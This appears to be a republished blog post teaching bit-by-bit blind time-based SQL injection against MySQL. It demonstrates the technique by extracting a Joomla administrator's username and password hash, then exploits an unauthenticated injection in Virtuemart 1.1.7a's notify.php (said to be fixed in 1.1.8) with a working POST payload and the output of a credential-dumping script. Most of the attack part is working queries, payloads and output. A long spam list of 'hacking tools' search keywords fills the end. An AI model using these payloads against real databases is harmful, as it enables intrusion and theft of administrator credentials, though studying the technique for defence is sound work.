Mga Pahina

Thursday, August 27, 2020

Bit Banging Your Database

This post will be about stealing data from a database one bit at a time. Most of the time pulling data from a database a bit at a time would not be ideal or desirable, but in certain cases it will work just fine. For instance when dealing with a blind time based sql injection. To bring anyone who is not aware of what a "blind time based" sql injection is up to speed - this is a condition where it is possible to inject into a sql statement that is executed by the database, but the application gives no indication about the result of the query. This is normally exploited by injecting boolean statements into a query and making the database pause for a determined about of time before returning a response. Think of it as playing a game "guess who" with the database.

Now that we have the basic idea out of the way we can move onto how this is normally done and then onto the target of this post. Normally a sensitive item in the database is targeted, such as a username and password. Once we know where this item lives in the database we would first determine the length of the item, so for example an administrator's username. All examples below are being executed on an mysql database hosting a Joomla install. Since the example database is a Joomla web application database, we would want to execute a query like the following on the database:
select length(username) from jos_users where usertype = 'Super Administrator';
Because we can't return the value back directly we have to make a query like the following iteratively:

select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
select if(length(username)=2,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
We would keep incrementing the number we compare the length of the username to until the database paused (benchmark function hit). In this case it would be 5 requests until our statement was true and the benchmark was hit. 

Examples showing time difference:
 mysql> select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.00 sec)
mysql> select if(length(username)=5,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.85 sec)
Now in the instance of the password, the field is 65 characters long, so it would require 65 requests to discover the length of the password using this same technique. This is where we get to the topic of the post, we can actually determine the length of any field in only 8 requests (up to 255). By querying the value bit by bit we can determine if a bit is set or not by using a boolean statement again. We will use the following to test each bit of our value: 

Start with checking the most significant bit and continue to the least significant bit, value is '65':
value & 128 
01000001
10000000
-----------
00000000 

value & 64
01000001
01000000
-----------
01000000
value & 32
01000001
00100000
-----------
00000000
value & 16
01000001
00010000
--------
00000000
value & 8
01000001
00001000
--------
00000000

value & 4
01000001
00000100
-----------
00000000
value & 2
01000001
00000010
-----------
00000000
value & 1
01000001
00000001
-----------
00000001
The items that have been highlighted in red identify where we would have a bit set (1), this is also the what we will use to satisfy our boolean statement to identify a 'true' statement. The following example shows the previous example being executed on the database, we identify set bits by running a benchmark to make the database pause:

mysql> select if(length(password) & 128,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)
mysql> select if(length(password) & 64,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (7.91 sec)

mysql> select if(length(password) & 32,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 16,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 8,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 4,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 2,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)

mysql> select if(length(password) & 1,benchmark(50000000,md5('cc')),0)  from jos_users;
1 row in set (8.74 sec)
As you can see, whenever we satisfy the boolean statement we get a delay in our response, we can mark that bit as being set (1) and all others as being unset (0). This gives us 01000001 or 65. Now that we have figured out how long our target value is we can move onto extracting its value from the database. Normally this is done using a substring function to move through the value character by character. At each offset we would test its value against a list of characters until our boolean statement was satisfied, indicating we have found the correct character. Example of this:

select if(substring(password,1,1)='a',benchmark(50000000,md5('cc')),0) as query from jos_users;
This works but depending on how your character set that you are searching with is setup can effect how many requests it will take to find a character, especially when considering case sensitive values. Consider the following password hash:
da798ac6e482b14021625d3fad853337skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL
If you searched for this string a character at a time using the following character scheme [0-9A-Za-z] it would take about 1400 requests. If we apply our previous method of extracting a bit at a time we will only make 520 requests (65*8). The following example shows the extraction of the first character in this password:

mysql> select if(ord(substring(password,1,1)) & 128,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 64,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 32,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.93 sec)
mysql> select if(ord(substring(password,1,1)) & 16,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 8,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 4,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 2,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 1,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
Again I have highlighted the requests where the bit was set in red. According to these queries the value is 01100100 (100) which is equal to 'd'. The offset of the substring would be incremented and the next character would be found until we reached the length of the value that we found earlier.

Now that the brief lesson is over we can move on to actually exploiting something using this technique. Our target is Virtuemart. Virtuemart is a free shopping cart module for the Joomla platform. Awhile back I had found an unauthenticated sql injection vulnerability in version 1.1.7a. This issue was fixed promptly by the vendor (...I was amazed) in version 1.1.8. The offending code was located in "$JOOMLA/administrator/components/com_virtuemart/notify.php" :


          if($order_id === "" || $order_id === null)
          {
                        $vmLogger->debug("Could not find order ID via invoice");
                        $vmLogger->debug("Trying to get via TransactionID: ".$txn_id);
                       
$qv = "SELECT * FROM `#__{vm}_order_payment` WHERE `order_payment_trans_id` = '".$txn_id."'";
                        $db->query($qv);
                        print($qv);
                        if( !$db->next_record()) {
                                $vmLogger->err("Error: No Records Found.");
                        }
The $txn_id variable is set by a post variable of the same name. The following example will cause the web server to delay before returning:


POST /administrator/components/com_virtuemart/notify.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
invoice=1&txn_id=1' or benchmark(50000000,md5('cc'));#  
Now that an insertion point has been identified we can automate the extraction of the "Super Administrator" account from the system:
python vm_own.py "http://192.168.18.131/administrator/components/com_virtuemart/notify.php"
[*] Getting string length
[+] username length is:5
[+] username:admin
[*] Getting string length
[+] password length is:65
[+] password:da798ac6e482b14021625d3fad853337:skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL
The "vm_own.py" script can be downloaded here.


Related word


  1. Hack Tools Download
  2. Tools Used For Hacking
  3. Pentest Tools Website Vulnerability
  4. Hacker Tools For Windows
  5. Usb Pentest Tools
  6. Hacker Tools
  7. Hacking Tools Windows
  8. Hack Tool Apk
  9. Pentest Tools Free
  10. Beginner Hacker Tools
  11. Pentest Tools For Android
  12. Pentest Tools Port Scanner
  13. What Is Hacking Tools
  14. Growth Hacker Tools
  15. Hacking Tools Usb
  16. Hack Tools For Ubuntu
  17. Pentest Recon Tools
  18. What Are Hacking Tools
  19. Hack App
  20. Tools 4 Hack
  21. Hacking Tools For Mac
  22. How To Hack
  23. Pentest Tools Android
  24. Hacker Tools Online
  25. Hacking Tools And Software
  26. Hacking Tools For Beginners
  27. How To Hack
  28. Pentest Tools Subdomain
  29. Hacker Tools Free Download
  30. Pentest Tools Subdomain
  31. Pentest Tools
  32. Pentest Tools Find Subdomains
  33. Pentest Recon Tools
  34. Hacker Tools Online
  35. Hacking Tools For Mac
  36. World No 1 Hacker Software
  37. Kik Hack Tools
  38. Hacker
  39. Pentest Tools Subdomain
  40. Best Hacking Tools 2020
  41. Hacking Tools For Kali Linux
  42. Hacker Security Tools
  43. Underground Hacker Sites
  44. Hacker Tools Online
  45. Hacker Tools For Ios
  46. What Are Hacking Tools
  47. Growth Hacker Tools
  48. What Are Hacking Tools
  49. Physical Pentest Tools
  50. Hacking Tools For Windows Free Download
  51. Hacker Techniques Tools And Incident Handling
  52. Best Pentesting Tools 2018
  53. Tools Used For Hacking
  54. Hacker
  55. What Are Hacking Tools
  56. Hacker Tool Kit
  57. Hacking Tools Usb
  58. Pentest Tools Free
  59. Pentest Tools
  60. Install Pentest Tools Ubuntu
  61. Hacking App
  62. Hack Tools For Ubuntu
  63. Pentest Tools Bluekeep
  64. Tools For Hacker
  65. Easy Hack Tools
  66. Hack Tools Pc
  67. Pentest Recon Tools
  68. Nsa Hack Tools
  69. What Are Hacking Tools
  70. Hacking Tools 2019
  71. Hack Tools For Windows
  72. Underground Hacker Sites
  73. Hacking Tools Github
  74. Hack Tools Github
  75. Hack Tools Online
  76. Github Hacking Tools
  77. Hacking Tools Windows 10
  78. Hacker Tools 2019
  79. Best Hacking Tools 2019
  80. Pentest Tools Website Vulnerability
  81. Pentest Tools Kali Linux
  82. Hack Tools For Windows
  83. What Is Hacking Tools
  84. Hacking Tools For Pc
  85. Hacking Tools And Software
  86. Hacker Hardware Tools
  87. Underground Hacker Sites
  88. Best Hacking Tools 2020
  89. Hack Tools Download
  90. Nsa Hack Tools Download
  91. Hacker Tools 2020
  92. New Hacker Tools
  93. Hack Tools Mac
  94. Kik Hack Tools
  95. Growth Hacker Tools
  96. Hacker Tools Hardware
  97. Hacking Tools 2019
  98. Pentest Tools Website Vulnerability
  99. Pentest Tools Tcp Port Scanner
  100. Pentest Box Tools Download
  101. Hackrf Tools
  102. Hacker Tools Software
  103. Hacker Search Tools
  104. Pentest Tools Online
  105. Hacking Tools For Beginners
  106. Pentest Tools
  107. Hack Tools For Ubuntu
  108. Hacks And Tools
  109. Hacking Tools For Kali Linux
  110. Hacking Tools Name
  111. Hacker Tools Mac
  112. Hacking Tools Hardware
  113. Pentest Tools Online
  114. Beginner Hacker Tools
  115. Black Hat Hacker Tools
  116. Hacking Tools Hardware
  117. Hacking Tools Windows
  118. Hack Tools For Mac
  119. Hacking Tools For Windows
  120. Hack Apps
  121. Android Hack Tools Github
  122. Pentest Automation Tools
  123. Nsa Hacker Tools
  124. Pentest Tools Website Vulnerability
  125. Top Pentest Tools
  126. Tools Used For Hacking
  127. Hacking Tools Usb
  128. Hacking Apps
  129. Hack Tools Online
  130. Hacker Tools For Pc
  131. Hacking Tools Usb
  132. Ethical Hacker Tools
  133. Hacking Tools
  134. Pentest Tools Nmap
  135. Hacker Tools
  136. Pentest Tools Website Vulnerability
  137. Hacker Tools Mac
  138. Hacker Tools For Ios
  139. Nsa Hacker Tools
  140. Hacking Tools Hardware
  141. Hacker Tools Free Download
  142. Pentest Tools Bluekeep
  143. Hack Tools Pc
  144. Pentest Tools Bluekeep
  145. Hacking Tools Github
  146. New Hack Tools
  147. Hack Tools Mac
  148. Hack Tools Pc
  149. Game Hacking
  150. Hack And Tools
  151. Hacking Tools Github
  152. Pentest Tools Free
  153. Hacking Tools And Software
  154. Blackhat Hacker Tools
  155. Pentest Tools Github
  156. Hacker Tools Free
  157. Pentest Tools Nmap
  158. Tools For Hacker
  159. Pentest Reporting Tools
  160. New Hack Tools
  161. New Hacker Tools
  162. Hacking Tools Online
  163. Pentest Tools Website Vulnerability
  164. Hack Tools Pc
  165. Hacking Tools For Kali Linux

No comments:

Post a Comment